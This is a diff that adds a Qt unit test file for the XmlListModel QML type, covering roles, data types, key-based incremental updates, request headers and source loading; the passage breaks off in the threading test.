+#include <QtDeclarative/qdeclarativeengine.h>
+#include <QtDeclarative/qdeclarativecomponent.h>
+#include <private/qdeclarativexmllistmodel_p.h>
+#include "../../../shared/util.h"
+
+#ifdef Q_OS_SYMBIAN
+// In Symbian OS test data is located in applications private dir
+#define SRCDIR "."
+#endif
+
+typedef QPair<int, int> QDeclarativeXmlListRange;
+typedef QList<QVariantList> QDeclarativeXmlModelData;
+
+Q_DECLARE_METATYPE(QList<QDeclarativeXmlListRange>)
+Q_DECLARE_METATYPE(QDeclarativeXmlModelData)
+Q_DECLARE_METATYPE(QDeclarativeXmlListModel::Status)
+
+class tst_qdeclarativexmllistmodel : public QObject
+
+{
+ Q_OBJECT
+public:
+ tst_qdeclarativexmllistmodel() {}
+
+private slots:
+ void initTestCase() {
+ qRegisterMetaType<QDeclarativeXmlListModel::Status>("QDeclarativeXmlListModel::Status");
+ }
+
+ void buildModel();
+ void testTypes();
+ void testTypes_data();
+ void cdata();
+ void attributes();
+ void roles();
+ void roleErrors();
+ void uniqueRoleNames();
+ void headers();
+ void xml();
+ void xml_data();
+ void source();
+ void source_data();
+ void data();
+ void get();
+ void reload();
+ void useKeys();
+ void useKeys_data();
+ void noKeysValueChanges();
+ void keysChanged();
+ void threading();
+ void threading_data();
+ void propertyChanges();
+
+ void roleCrash();
+
+private:
+ QString makeItemXmlAndData(const QString &data, QDeclarativeXmlModelData *modelData = 0) const
+ {
+ if (modelData)
+ modelData->clear();
+ QString xml;
+
+ if (!data.isEmpty()) {
+ QStringList items = data.split(";");
+ foreach(const QString &item, items) {
+ if (item.isEmpty())
+ continue;
+ QVariantList variants;
+ xml += QLatin1String("<item>");
+ QStringList fields = item.split(",");
+ foreach(const QString &field, fields) {
+ QStringList values = field.split("=");
+ if (values.count() != 2) {
+ qWarning() << "makeItemXmlAndData: invalid field:" << field;
+ continue;
+ }
+ xml += QString("<%1>%2</%1>").arg(values[0], values[1]);
+ if (!modelData)
+ continue;
+ bool isNum = false;
+ int number = values[1].toInt(&isNum);
+ if (isNum)
+ variants << number;
+ else
+ variants << values[1];
+ }
+ xml += QLatin1String("</item>");
+ if (modelData)
+ modelData->append(variants);
+ }
+ }
+
+ QString decl = "<?xml version=\"1.0\" encoding=\"iso-8859-1\" ?>";
+ return decl + QLatin1String("<data>") + xml + QLatin1String("</data>");
+ }
+
+ QDeclarativeEngine engine;
+};
+
+class CustomNetworkAccessManagerFactory : public QObject, public QDeclarativeNetworkAccessManagerFactory
+{
+ Q_OBJECT
+public:
+ QVariantMap lastSentHeaders;
+
+protected:
+ QNetworkAccessManager *create(QObject *parent);
+};
+
+class CustomNetworkAccessManager : public QNetworkAccessManager
+{
+ Q_OBJECT
+public:
+ CustomNetworkAccessManager(CustomNetworkAccessManagerFactory *factory, QObject *parent)
+ : QNetworkAccessManager(parent), m_factory(factory) {}
+
+protected:
+ QNetworkReply *createRequest(Operation op, const QNetworkRequest &req, QIODevice * outgoingData = 0)
+ {
+ if (m_factory) {
+ QVariantMap map;
+ foreach (const QString &header, req.rawHeaderList())
+ map[header] = req.rawHeader(header.toUtf8());
+ m_factory->lastSentHeaders = map;
+ }
+ return QNetworkAccessManager::createRequest(op, req, outgoingData);
+ }
+
+ QPointer<CustomNetworkAccessManagerFactory> m_factory;
+};
+
+QNetworkAccessManager *CustomNetworkAccessManagerFactory::create(QObject *parent)
+{
+ return new CustomNetworkAccessManager(this, parent);
+}
+
+
+void tst_qdeclarativexmllistmodel::buildModel()
+{
+ QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/model.qml"));
+ QDeclarativeXmlListModel *model = qobject_cast<QDeclarativeXmlListModel*>(component.create());
+ QVERIFY(model != 0);
+ QTRY_COMPARE(model->count(), 9);
+
+ QList<int> roles;
+ roles << Qt::UserRole << Qt::UserRole + 1 << Qt::UserRole + 2 << Qt::UserRole + 3;
+ QHash<int, QVariant> data = model->data(3, roles);
+ QVERIFY(data.count() == 4);
+ QCOMPARE(data.value(Qt::UserRole).toString(), QLatin1String("Spot"));
+ QCOMPARE(data.value(Qt::UserRole+1).toString(), QLatin1String("Dog"));
+ QCOMPARE(data.value(Qt::UserRole+2).toInt(), 9);
+ QCOMPARE(data.value(Qt::UserRole+3).toString(), QLatin1String("Medium"));
+
+ delete model;
+}
+
+void tst_qdeclarativexmllistmodel::testTypes()
+{
+ QFETCH(QString, xml);
+ QFETCH(QString, roleName);
+ QFETCH(QVariant, expectedValue);
+
+ QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/testtypes.qml"));
+ QDeclarativeXmlListModel *model = qobject_cast<QDeclarativeXmlListModel*>(component.create());
+ QVERIFY(model != 0);
+ model->setXml(xml.toUtf8());
+ model->reload();
+ QTRY_COMPARE(model->count(), 1);
+
+ int role = -1;
+ foreach (int i, model->roles()) {
+ if (model->toString(i) == roleName) {
+ role = i;
+ break;
+ }
+ }
+ QVERIFY(role >= 0);
+
+ if (expectedValue.toString() == "nan")
+ QVERIFY(qIsNaN(model->data(0, role).toDouble()));
+ else
+ QCOMPARE(model->data(0, role), expectedValue);
+
+ delete model;
+}
+
+void tst_qdeclarativexmllistmodel::testTypes_data()
+{
+ QTest::addColumn<QString>("xml");
+ QTest::addColumn<QString>("roleName");
+ QTest::addColumn<QVariant>("expectedValue");
+
+ QTest::newRow("missing string field") << "<data></data>"
+ << "stringValue" << QVariant("");
+ QTest::newRow("empty string") << "<data><a-string></a-string></data>"
+ << "stringValue" << QVariant("");
+ QTest::newRow("1-char string") << "<data><a-string>5</a-string></data>"
+ << "stringValue" << QVariant("5");
+ QTest::newRow("string ok") << "<data><a-string>abc def g</a-string></data>"
+ << "stringValue" << QVariant("abc def g");
+
+ QTest::newRow("missing number field") << "<data></data>"
+ << "numberValue" << QVariant("");
+ double nan = qQNaN();
+ QTest::newRow("empty number field") << "<data><a-number></a-number></data>"
+ << "numberValue" << QVariant(nan);
+ QTest::newRow("number field with string") << "<data><a-number>a string</a-number></data>"
+ << "numberValue" << QVariant(nan);
+ QTest::newRow("-1") << "<data><a-number>-1</a-number></data>"
+ << "numberValue" << QVariant("-1");
+ QTest::newRow("-1.5") << "<data><a-number>-1.5</a-number></data>"
+ << "numberValue" << QVariant("-1.5");
+ QTest::newRow("0") << "<data><a-number>0</a-number></data>"
+ << "numberValue" << QVariant("0");
+ QTest::newRow("+1") << "<data><a-number>1</a-number></data>"
+ << "numberValue" << QVariant("1");
+ QTest::newRow("+1.5") << "<data><a-number>1.5</a-number></data>"
+ << "numberValue" << QVariant("1.5");
+}
+
+void tst_qdeclarativexmllistmodel::cdata()
+{
+ QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/recipes.qml"));
+ QDeclarativeXmlListModel *model = qobject_cast<QDeclarativeXmlListModel*>(component.create());
+ QVERIFY(model != 0);
+ QTRY_COMPARE(model->count(), 5);
+
+ QList<int> roles;
+ roles << Qt::UserRole + 2;
+ QHash<int, QVariant> data = model->data(2, roles);
+ QVERIFY(data.count() == 1);
+ QVERIFY(data.value(Qt::UserRole+2).toString().startsWith(QLatin1String("<html>")));
+
+ delete model;
+}
+
+void tst_qdeclarativexmllistmodel::attributes()
+{
+ QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/recipes.qml"));
+ QDeclarativeXmlListModel *model = qobject_cast<QDeclarativeXmlListModel*>(component.create());
+ QVERIFY(model != 0);
+ QTRY_COMPARE(model->count(), 5);
+ QList<int> roles;
+ roles << Qt::UserRole;
+ QHash<int, QVariant> data = model->data(2, roles);
+ QVERIFY(data.count() == 1);
+ QCOMPARE(data.value(Qt::UserRole).toString(), QLatin1String("Vegetable Soup"));
+
+ delete model;
+}
+
+void tst_qdeclarativexmllistmodel::roles()
+{
+ QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/model.qml"));
+ QDeclarativeXmlListModel *model = qobject_cast<QDeclarativeXmlListModel*>(component.create());
+ QVERIFY(model != 0);
+ QTRY_COMPARE(model->count(), 9);
+
+ QList<int> roles = model->roles();
+ QCOMPARE(roles.count(), 4);
+ QCOMPARE(model->toString(roles.at(0)), QLatin1String("name"));
+ QCOMPARE(model->toString(roles.at(1)), QLatin1String("type"));
+ QCOMPARE(model->toString(roles.at(2)), QLatin1String("age"));
+ QCOMPARE(model->toString(roles.at(3)), QLatin1String("size"));
+
+ delete model;
+}
+
+void tst_qdeclarativexmllistmodel::roleErrors()
+{
+ QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/roleErrors.qml"));
+ QTest::ignoreMessage(QtWarningMsg, (QUrl::fromLocalFile(SRCDIR "/data/roleErrors.qml").toString() + ":6:5: QML XmlRole: An XmlRole query must not start with '/'").toUtf8().constData());
+ QTest::ignoreMessage(QtWarningMsg, (QUrl::fromLocalFile(SRCDIR "/data/roleErrors.qml").toString() + ":9:5: QML XmlRole: invalid query: \"age/\"").toUtf8().constData());
+
+ //### make sure we receive all expected warning messages.
+ QDeclarativeXmlListModel *model = qobject_cast<QDeclarativeXmlListModel*>(component.create());
+ QVERIFY(model != 0);
+ QTRY_COMPARE(model->count(), 9);
+
+ QList<int> roles;
+ roles << Qt::UserRole << Qt::UserRole + 1 << Qt::UserRole + 2 << Qt::UserRole + 3;
+ QHash<int, QVariant> data = model->data(3, roles);
+ QVERIFY(data.count() == 4);
+
+ //### should any of these return valid values?
+ QCOMPARE(data.value(Qt::UserRole), QVariant());
+ QCOMPARE(data.value(Qt::UserRole+1), QVariant());
+ QCOMPARE(data.value(Qt::UserRole+2), QVariant());
+
+ QEXPECT_FAIL("", "QTBUG-10797", Continue);
+ QCOMPARE(data.value(Qt::UserRole+3), QVariant());
+
+ delete model;
+}
+
+void tst_qdeclarativexmllistmodel::uniqueRoleNames()
+{
+ QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/unique.qml"));
+ QTest::ignoreMessage(QtWarningMsg, (QUrl::fromLocalFile(SRCDIR "/data/unique.qml").toString() + ":7:5: QML XmlRole: \"name\" duplicates a previous role name and will be disabled.").toUtf8().constData());
+ QDeclarativeXmlListModel *model = qobject_cast<QDeclarativeXmlListModel*>(component.create());
+ QVERIFY(model != 0);
+ QTRY_COMPARE(model->count(), 9);
+
+ QList<int> roles = model->roles();
+ QCOMPARE(roles.count(), 1);
+
+ delete model;
+}
+
+
+void tst_qdeclarativexmllistmodel::xml()
+{
+ QFETCH(QString, xml);
+ QFETCH(int, count);
+
+ QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/model.qml"));
+ QDeclarativeXmlListModel *model = qobject_cast<QDeclarativeXmlListModel*>(component.create());
+ QSignalSpy spy(model, SIGNAL(statusChanged(QDeclarativeXmlListModel::Status)));
+
+ QVERIFY(model->errorString().isEmpty());
+ QCOMPARE(model->progress(), qreal(0.0));
+ QCOMPARE(model->status(), QDeclarativeXmlListModel::Loading);
+ QTRY_COMPARE(spy.count(), 1); spy.clear();
+ QCOMPARE(model->status(), QDeclarativeXmlListModel::Ready);
+ QVERIFY(model->errorString().isEmpty());
+ QCOMPARE(model->progress(), qreal(1.0));
+ QCOMPARE(model->count(), 9);
+
+ // if xml is empty (i.e. clearing) it won't have any effect if a source is set
+ if (xml.isEmpty())
+ model->setSource(QUrl());
+ model->setXml(xml);
+ QCOMPARE(model->progress(), qreal(1.0)); // immediately goes to 1.0 if using setXml()
+ QTRY_COMPARE(spy.count(), 1); spy.clear();
+ QCOMPARE(model->status(), QDeclarativeXmlListModel::Loading);
+ QTRY_COMPARE(spy.count(), 1); spy.clear();
+ QCOMPARE(model->status(), QDeclarativeXmlListModel::Ready);
+ QVERIFY(model->errorString().isEmpty());
+ QCOMPARE(model->count(), count);
+
+ delete model;
+}
+
+void tst_qdeclarativexmllistmodel::xml_data()
+{
+ QTest::addColumn<QString>("xml");
+ QTest::addColumn<int>("count");
+
+ QTest::newRow("xml with no items") << "<Pets></Pets>" << 0;
+ QTest::newRow("empty xml") << "" << 0;
+ QTest::newRow("one item") << "<Pets><Pet><name>Hobbes</name><type>Tiger</type><age>7</age><size>Large</size></Pet></Pets>" << 1;
+}
+
+void tst_qdeclarativexmllistmodel::headers()
+{
+ // ensure the QNetworkAccessManagers created for this test are immediately deleted
+ QDeclarativeEngine qmlEng;
+
+ CustomNetworkAccessManagerFactory factory;
+ qmlEng.setNetworkAccessManagerFactory(&factory);
+
+ QDeclarativeComponent component(&qmlEng, QUrl::fromLocalFile(SRCDIR "/data/model.qml"));
+ QDeclarativeXmlListModel *model = qobject_cast<QDeclarativeXmlListModel*>(component.create());
+ QVERIFY(model != 0);
+ QTRY_COMPARE(model->status(), QDeclarativeXmlListModel::Ready);
+
+ QVariantMap expectedHeaders;
+ expectedHeaders["Accept"] = "application/xml,*/*";
+
+ QCOMPARE(factory.lastSentHeaders.count(), expectedHeaders.count());
+ foreach (const QString &header, expectedHeaders.keys()) {
+ QVERIFY(factory.lastSentHeaders.contains(header));
+ QCOMPARE(factory.lastSentHeaders[header].toString(), expectedHeaders[header].toString());
+ }
+
+ delete model;
+}
+
+void tst_qdeclarativexmllistmodel::source()
+{
+ QFETCH(QUrl, source);
+ QFETCH(int, count);
+ QFETCH(QDeclarativeXmlListModel::Status, status);
+
+ QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/model.qml"));
+ QDeclarativeXmlListModel *model = qobject_cast<QDeclarativeXmlListModel*>(component.create());
+ QSignalSpy spy(model, SIGNAL(statusChanged(QDeclarativeXmlListModel::Status)));
+
+ QVERIFY(model->errorString().isEmpty());
+ QCOMPARE(model->progress(), qreal(0.0));
+ QCOMPARE(model->status(), QDeclarativeXmlListModel::Loading);
+ QTRY_COMPARE(spy.count(), 1); spy.clear();
+ QCOMPARE(model->status(), QDeclarativeXmlListModel::Ready);
+ QVERIFY(model->errorString().isEmpty());
+ QCOMPARE(model->progress(), qreal(1.0));
+ QCOMPARE(model->count(), 9);
+
+ model->setSource(source);
+ QCOMPARE(model->progress(), qreal(0.0));
+ QTRY_COMPARE(spy.count(), 1); spy.clear();
+ QCOMPARE(model->status(), QDeclarativeXmlListModel::Loading);
+ QVERIFY(model->errorString().isEmpty());
+
+ QEventLoop loop;
+ QTimer timer;
+ timer.setSingleShot(true);
+ connect(model, SIGNAL(statusChanged(QDeclarativeXmlListModel::Status)), &loop, SLOT(quit()));
+ connect(&timer, SIGNAL(timeout()), &loop, SLOT(quit()));
+ timer.start(20000);
+ loop.exec();
+
+ if (spy.count() == 0 && status != QDeclarativeXmlListModel::Ready) {
+ qWarning("QDeclarativeXmlListModel invalid source test timed out");
+ } else {
+ QCOMPARE(spy.count(), 1); spy.clear();
+ }
+
+ QCOMPARE(model->status(), status);
+ QCOMPARE(model->count(), count);
+
+ if (status == QDeclarativeXmlListModel::Ready)
+ QCOMPARE(model->progress(), qreal(1.0));
+
+ QCOMPARE(model->errorString().isEmpty(), status == QDeclarativeXmlListModel::Ready);
+
+ delete model;
+}
+
+void tst_qdeclarativexmllistmodel::source_data()
+{
+ QTest::addColumn<QUrl>("source");
+ QTest::addColumn<int>("count");
+ QTest::addColumn<QDeclarativeXmlListModel::Status>("status");
+
+ QTest::newRow("valid") << QUrl::fromLocalFile(SRCDIR "/data/model2.xml") << 2 << QDeclarativeXmlListModel::Ready;
+ QTest::newRow("invalid") << QUrl("http://blah.blah/blah.xml") << 0 << QDeclarativeXmlListModel::Error;
+
+ // empty file
+ QTemporaryFile *temp = new QTemporaryFile(this);
+ if (temp->open())
+ QTest::newRow("empty file") << QUrl::fromLocalFile(temp->fileName()) << 0 << QDeclarativeXmlListModel::Ready;
+ temp->close();
+}
+
+void tst_qdeclarativexmllistmodel::data()
+{
+ QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/model.qml"));
+ QDeclarativeXmlListModel *model = qobject_cast<QDeclarativeXmlListModel*>(component.create());
+ QVERIFY(model != 0);
+
+ QHash<int,QVariant> blank;
+ for (int i=0; i<model->roles().count(); i++)
+ blank.insert(model->roles()[i], QVariant());
+ for (int i=0; i<9; i++) {
+ QCOMPARE(model->data(i, model->roles()), blank);
+ for (int j=0; j<model->roles().count(); j++) {
+ QCOMPARE(model->data(i, j), QVariant());
+ }
+ }
+ QTRY_COMPARE(model->count(), 9);
+
+ delete model;
+}
+
+void tst_qdeclarativexmllistmodel::get()
+{
+ QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/model.qml"));
+ QDeclarativeXmlListModel *model = qobject_cast<QDeclarativeXmlListModel*>(component.create());
+ QVERIFY(model != 0);
+ QVERIFY(model->get(0).isUndefined());
+
+ QTRY_COMPARE(model->count(), 9);
+ QVERIFY(model->get(-1).isUndefined());
+
+ QScriptValue sv = model->get(0);
+ QCOMPARE(sv.property("name").toString(), QLatin1String("Polly"));
+ QCOMPARE(sv.property("type").toString(), QLatin1String("Parrot"));
+ QCOMPARE(sv.property("age").toNumber(), qsreal(12));
+ QCOMPARE(sv.property("size").toString(), QLatin1String("Small"));
+
+ sv = model->get(1);
+ QCOMPARE(sv.property("name").toString(), QLatin1String("Penny"));
+ QCOMPARE(sv.property("type").toString(), QLatin1String("Turtle"));
+ QCOMPARE(sv.property("age").toNumber(), qsreal(4));
+ QCOMPARE(sv.property("size").toString(), QLatin1String("Small"));
+
+ sv = model->get(7);
+ QCOMPARE(sv.property("name").toString(), QLatin1String("Rover"));
+ QCOMPARE(sv.property("type").toString(), QLatin1String("Dog"));
+ QCOMPARE(sv.property("age").toNumber(), qsreal(0));
+ QCOMPARE(sv.property("size").toString(), QLatin1String("Large"));
+
+ sv = model->get(8);
+ QCOMPARE(sv.property("name").toString(), QLatin1String("Tiny"));
+ QCOMPARE(sv.property("type").toString(), QLatin1String("Elephant"));
+ QCOMPARE(sv.property("age").toNumber(), qsreal(15));
+ QCOMPARE(sv.property("size").toString(), QLatin1String("Large"));
+
+ sv = model->get(9);
+ QVERIFY(sv.isUndefined());
+
+ delete model;
+}
+
+void tst_qdeclarativexmllistmodel::reload()
+{
+ // If no keys are used, the model should be rebuilt from scratch when
+ // reload() is called.
+
+ QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/model.qml"));
+ QDeclarativeXmlListModel *model = qobject_cast<QDeclarativeXmlListModel*>(component.create());
+ QVERIFY(model != 0);
+ QTRY_COMPARE(model->count(), 9);
+
+ QSignalSpy spyInsert(model, SIGNAL(itemsInserted(int,int)));
+ QSignalSpy spyRemove(model, SIGNAL(itemsRemoved(int,int)));
+ QSignalSpy spyCount(model, SIGNAL(countChanged()));
+
+ //reload multiple times to test the xml query aborting
+ model->reload();
+ model->reload();
+ QCoreApplication::processEvents();
+ model->reload();
+ model->reload();
+ QTRY_COMPARE(spyCount.count(), 1);
+ QTRY_COMPARE(spyInsert.count(), 1);
+ QTRY_COMPARE(spyRemove.count(), 1);
+
+ QCOMPARE(spyInsert[0][0].toInt(), 0);
+ QCOMPARE(spyInsert[0][1].toInt(), 9);
+
+ QCOMPARE(spyRemove[0][0].toInt(), 0);
+ QCOMPARE(spyRemove[0][1].toInt(), 9);
+
+ delete model;
+}
+
+void tst_qdeclarativexmllistmodel::useKeys()
+{
+ // If using incremental updates through keys, the model should only
+ // insert & remove some of the items, instead of throwing everything
+ // away and causing the view to repaint the whole view.
+
+ QFETCH(QString, oldXml);
+ QFETCH(int, oldCount);
+ QFETCH(QString, newXml);
+ QFETCH(QDeclarativeXmlModelData, newData);
+ QFETCH(QList<QDeclarativeXmlListRange>, insertRanges);
+ QFETCH(QList<QDeclarativeXmlListRange>, removeRanges);
+
+ QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/roleKeys.qml"));
+ QDeclarativeXmlListModel *model = qobject_cast<QDeclarativeXmlListModel*>(component.create());
+ QVERIFY(model != 0);
+
+ model->setXml(oldXml);
+ QTRY_COMPARE(model->count(), oldCount);
+
+ QSignalSpy spyInsert(model, SIGNAL(itemsInserted(int,int)));
+ QSignalSpy spyRemove(model, SIGNAL(itemsRemoved(int,int)));
+ QSignalSpy spyCount(model, SIGNAL(countChanged()));
+
+ model->setXml(newXml);
+
+ if (oldCount != newData.count()) {
+ QTRY_COMPARE(model->count(), newData.count());
+ QCOMPARE(spyCount.count(), 1);
+ } else {
+ QTRY_VERIFY(spyInsert.count() > 0 || spyRemove.count() > 0);
+ QCOMPARE(spyCount.count(), 0);
+ }
+
+ QList<int> roles = model->roles();
+ for (int i=0; i<model->count(); i++) {
+ for (int j=0; j<roles.count(); j++)
+ QCOMPARE(model->data(i, roles[j]), newData[i][j]);
+ }
+
+ QCOMPARE(spyInsert.count(), insertRanges.count());
+ for (int i=0; i<spyInsert.count(); i++) {
+ QCOMPARE(spyInsert[i][0].toInt(), insertRanges[i].first);
+ QCOMPARE(spyInsert[i][1].toInt(), insertRanges[i].second);
+ }
+
+ QCOMPARE(spyRemove.count(), removeRanges.count());
+ for (int i=0; i<spyRemove.count(); i++) {
+ QCOMPARE(spyRemove[i][0].toInt(), removeRanges[i].first);
+ QCOMPARE(spyRemove[i][1].toInt(), removeRanges[i].second);
+ }
+
+ delete model;
+}
+
+void tst_qdeclarativexmllistmodel::useKeys_data()
+{
+ QTest::addColumn<QString>("oldXml");
+ QTest::addColumn<int>("oldCount");
+ QTest::addColumn<QString>("newXml");
+ QTest::addColumn<QDeclarativeXmlModelData>("newData");
+ QTest::addColumn<QList<QDeclarativeXmlListRange> >("insertRanges");
+ QTest::addColumn<QList<QDeclarativeXmlListRange> >("removeRanges");
+
+ QDeclarativeXmlModelData modelData;
+
+ QTest::newRow("append 1")
+ << makeItemXmlAndData("name=A,age=25,sport=Football") << 1
+ << makeItemXmlAndData("name=A,age=25,sport=Football;name=B,age=35,sport=Athletics", &modelData)
+ << modelData
+ << (QList<QDeclarativeXmlListRange>() << qMakePair(1, 1))
+ << QList<QDeclarativeXmlListRange>();
+
+ QTest::newRow("append multiple")
+ << makeItemXmlAndData("name=A,age=25,sport=Football") << 1
+ << makeItemXmlAndData("name=A,age=25,sport=Football;name=B,age=35,sport=Athletics;name=C,age=45,sport=Curling", &modelData)
+ << modelData
+ << (QList<QDeclarativeXmlListRange>() << qMakePair(1, 2))
+ << QList<QDeclarativeXmlListRange>();
+
+ QTest::newRow("insert in different spots")
+ << makeItemXmlAndData("name=B,age=35,sport=Athletics") << 1
+ << makeItemXmlAndData("name=A,age=25,sport=Football;name=B,age=35,sport=Athletics;name=C,age=45,sport=Curling;name=D,age=55,sport=Golf", &modelData)
+ << modelData
+ << (QList<QDeclarativeXmlListRange>() << qMakePair(0, 1) << qMakePair(2,2))
+ << QList<QDeclarativeXmlListRange>();
+
+ QTest::newRow("insert in middle")
+ << makeItemXmlAndData("name=A,age=25,sport=Football;name=D,age=55,sport=Golf") << 2
+ << makeItemXmlAndData("name=A,age=25,sport=Football;name=B,age=35,sport=Athletics;name=C,age=45,sport=Curling;name=D,age=55,sport=Golf", &modelData)
+ << modelData
+ << (QList<QDeclarativeXmlListRange>() << qMakePair(1, 2))
+ << QList<QDeclarativeXmlListRange>();
+
+ QTest::newRow("remove first")
+ << makeItemXmlAndData("name=A,age=25,sport=Football;name=B,age=35,sport=Athletics") << 2
+ << makeItemXmlAndData("name=B,age=35,sport=Athletics", &modelData)
+ << modelData
+ << QList<QDeclarativeXmlListRange>()
+ << (QList<QDeclarativeXmlListRange>() << qMakePair(0, 1));
+
+ QTest::newRow("remove last")
+ << makeItemXmlAndData("name=A,age=25,sport=Football;name=B,age=35,sport=Athletics") << 2
+ << makeItemXmlAndData("name=A,age=25,sport=Football", &modelData)
+ << modelData
+ << QList<QDeclarativeXmlListRange>()
+ << (QList<QDeclarativeXmlListRange>() << qMakePair(1, 1));
+
+ QTest::newRow("remove from multiple spots")
+ << makeItemXmlAndData("name=A,age=25,sport=Football;name=B,age=35,sport=Athletics;name=C,age=45,sport=Curling;name=D,age=55,sport=Golf;name=E,age=65,sport=Fencing") << 5
+ << makeItemXmlAndData("name=A,age=25,sport=Football;name=C,age=45,sport=Curling", &modelData)
+ << modelData
+ << QList<QDeclarativeXmlListRange>()
+ << (QList<QDeclarativeXmlListRange>() << qMakePair(1, 1) << qMakePair(3,2));
+
+ QTest::newRow("remove all")
+ << makeItemXmlAndData("name=A,age=25,sport=Football;name=B,age=35,sport=Athletics;name=C,age=45,sport=Curling") << 3
+ << makeItemXmlAndData("", &modelData)
+ << modelData
+ << QList<QDeclarativeXmlListRange>()
+ << (QList<QDeclarativeXmlListRange>() << qMakePair(0, 3));
+
+ QTest::newRow("replace item")
+ << makeItemXmlAndData("name=A,age=25,sport=Football") << 1
+ << makeItemXmlAndData("name=ZZZ,age=25,sport=Football", &modelData)
+ << modelData
+ << (QList<QDeclarativeXmlListRange>() << qMakePair(0, 1))
+ << (QList<QDeclarativeXmlListRange>() << qMakePair(0, 1));
+
+ QTest::newRow("add and remove simultaneously, in different spots")
+ << makeItemXmlAndData("name=A,age=25,sport=Football;name=B,age=35,sport=Athletics;name=C,age=45,sport=Curling;name=D,age=55,sport=Golf") << 4
+ << makeItemXmlAndData("name=B,age=35,sport=Athletics;name=E,age=65,sport=Fencing", &modelData)
+ << modelData
+ << (QList<QDeclarativeXmlListRange>() << qMakePair(1, 1))
+ << (QList<QDeclarativeXmlListRange>() << qMakePair(0, 1) << qMakePair(2,2));
+
+ QTest::newRow("insert at start, remove at end i.e. rss feed")
+ << makeItemXmlAndData("name=C,age=45,sport=Curling;name=D,age=55,sport=Golf;name=E,age=65,sport=Fencing") << 3
+ << makeItemXmlAndData("name=A,age=25,sport=Football;name=B,age=35,sport=Athletics;name=C,age=45,sport=Curling", &modelData)
+ << modelData
+ << (QList<QDeclarativeXmlListRange>() << qMakePair(0, 2))
+ << (QList<QDeclarativeXmlListRange>() << qMakePair(1, 2));
+
+ QTest::newRow("remove at start, insert at end")
+ << makeItemXmlAndData("name=A,age=25,sport=Football;name=B,age=35,sport=Athletics;name=C,age=45,sport=Curling") << 3
+ << makeItemXmlAndData("name=C,age=45,sport=Curling;name=D,age=55,sport=Golf;name=E,age=65,sport=Fencing", &modelData)
+ << modelData
+ << (QList<QDeclarativeXmlListRange>() << qMakePair(1, 2))
+ << (QList<QDeclarativeXmlListRange>() << qMakePair(0, 2));
+
+ QTest::newRow("all data has changed")
+ << makeItemXmlAndData("name=A,age=25,sport=Football;name=B,age=35") << 2
+ << makeItemXmlAndData("name=C,age=45,sport=Curling;name=D,age=55,sport=Golf", &modelData)
+ << modelData
+ << (QList<QDeclarativeXmlListRange>() << qMakePair(0, 2))
+ << (QList<QDeclarativeXmlListRange>() << qMakePair(0, 2));
+}
+
+void tst_qdeclarativexmllistmodel::noKeysValueChanges()
+{
+ // The 'key' roles are 'name' and 'age', as defined in roleKeys.qml.
+ // If a 'sport' value is changed, the model should not be reloaded,
+ // since 'sport' is not marked as a key.
+
+ QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/roleKeys.qml"));
+ QDeclarativeXmlListModel *model = qobject_cast<QDeclarativeXmlListModel*>(component.create());
+ QVERIFY(model != 0);
+
+ QString xml;
+
+ xml = makeItemXmlAndData("name=A,age=25,sport=Football;name=B,age=35,sport=Athletics");
+ model->setXml(xml);
+ QTRY_COMPARE(model->count(), 2);
+
+ model->setXml("");
+
+ QSignalSpy spyInsert(model, SIGNAL(itemsInserted(int,int)));
+ QSignalSpy spyRemove(model, SIGNAL(itemsRemoved(int,int)));
+ QSignalSpy spyCount(model, SIGNAL(countChanged()));
+
+ xml = makeItemXmlAndData("name=A,age=25,sport=AussieRules;name=B,age=35,sport=Athletics");
+ model->setXml(xml);
+
+ // wait for the new xml data to be set, and verify no signals were emitted
+ QTRY_VERIFY(model->data(0, model->roles()[2]).toString() != QLatin1String("Football"));
+ QCOMPARE(model->data(0, model->roles()[2]).toString(), QLatin1String("AussieRules"));
+
+ QVERIFY(spyInsert.count() == 0);
+ QVERIFY(spyRemove.count() == 0);
+ QVERIFY(spyCount.count() == 0);
+
+ QCOMPARE(model->count(), 2);
+
+ delete model;
+}
+
+void tst_qdeclarativexmllistmodel::keysChanged()
+{
+ // If the key roles change, the next time the data is reloaded, it should
+ // delete all its data and build a clean model (i.e. same behaviour as
+ // if no keys are set).
+
+ QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/roleKeys.qml"));
+ QDeclarativeXmlListModel *model = qobject_cast<QDeclarativeXmlListModel*>(component.create());
+ QVERIFY(model != 0);
+
+ QString xml = makeItemXmlAndData("name=A,age=25,sport=Football;name=B,age=35,sport=Athletics");
+ model->setXml(xml);
+ QTRY_COMPARE(model->count(), 2);
+
+ model->setXml("");
+
+ QSignalSpy spyInsert(model, SIGNAL(itemsInserted(int,int)));
+ QSignalSpy spyRemove(model, SIGNAL(itemsRemoved(int,int)));
+ QSignalSpy spyCount(model, SIGNAL(countChanged()));
+
+ QVERIFY(QMetaObject::invokeMethod(model, "disableNameKey"));
+ model->setXml(xml);
+
+ QTRY_VERIFY(spyInsert.count() > 0 && spyRemove.count() > 0);
+
+ QCOMPARE(spyInsert.count(), 1);
+ QCOMPARE(spyInsert[0][0].toInt(), 0);
+ QCOMPARE(spyInsert[0][1].toInt(), 2);
+
+ QCOMPARE(spyRemove.count(), 1);
+ QCOMPARE(spyRemove[0][0].toInt(), 0);
+ QCOMPARE(spyRemove[0][1].toInt(), 2);
+
+ QCOMPARE(spyCount.count(), 0);
+
+ delete model;
+}
+
+void tst_qdeclarativexmllistmodel::threading()
+{
+ QFETCH(int, xmlDataCount);
+
+ QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/roleKeys.qml"));
+
